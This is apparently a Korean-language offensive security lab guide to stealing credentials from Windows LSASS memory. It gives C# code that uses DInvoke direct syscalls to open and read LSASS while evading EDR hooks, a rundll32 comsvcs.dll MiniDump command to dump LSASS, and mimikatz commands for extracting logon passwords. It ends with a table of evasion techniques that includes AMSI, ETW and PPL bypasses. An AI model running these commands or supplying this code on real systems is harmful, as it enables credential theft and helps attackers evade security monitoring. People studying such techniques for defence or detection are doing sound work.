LSASS
메모리에서 크리덴셜 덤프git clone https://github.com/TheWover/DInvoke.git
Process[] processes = Process.GetProcessesByName("lsass");
int pid = processes[0].Id;
OpenProcess
를 직접 syscall로 실행(DInvoke 사용, EDR 우회)
using DInvoke.Data;
using DInvoke.DynamicInvoke;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
...
// 접근 권한
uint PROCESS_ALL_ACCESS = 0x001F0FFF;
// LSASS 핸들 얻기
IntPtr hProcess = Generic.OpenProcess(PROCESS_ALL_ACCESS, false, pid);
이때 Generic.OpenProcess
는 DInvoke 내부에서 NtOpenProcess
시스템 콜을 직접 사용합니다. 따라서 EDR의 API Hook을 우회할 수 있습니다.
(단순 데모에서는 임의 주소 범위 사용)
IntPtr buffer = Marshal.AllocHGlobal(0x1000);
UIntPtr bytesRead = UIntPtr.Zero;
int status = (int)Generic.NtReadVirtualMemory(hProcess, targetAddress, buffer, (UIntPtr)0x1000, ref bytesRead);
※ 실전에서는 LSASS 구조(예: logonSessionList
)를 분석하거나 시그니처 기반으로 주소 탐색 필요
읽은 메모리에서 크리덴셜 문자열, 해시 등이 들어있는 위치를 탐색합니다. 이 부분은 메모리 덤프 분석 경험이 필요하지만, 키워드 검색으로 "Administrator"
나 "Password"
같은 문자열부터 찾을 수 있습니다.
- Import DInvoke
- OpenProcess (syscall)
- NtReadVirtualMemory (syscall)
- 메모리 출력 (Console.WriteLine / Hex dump)
# 관리자 권한 PowerShell
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 1234 C:\lsass.dmp full
1234
는 LSASS PIDlsass.dmp
파일 생성됨이후 Kali에서 mimikatz로 분석 가능:
mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
기술 | 우회 목적 |
---|---|
DInvoke | API Hook 우회 |
SysWhispers2 | 직접 syscall stub 사용 |
ETW Patching | 탐지 우회 (Defender 탐지 차단) |
AMSI Bypass | PowerShell 기반 도구 회피 |
PPL Bypass | LSASS 보호 프로세스 우회 |
이 실습은 **"Mimikatz 없이도 시스템콜을 통해 자격 증명 탈취가 가능"**하다는 걸 보여줍니다.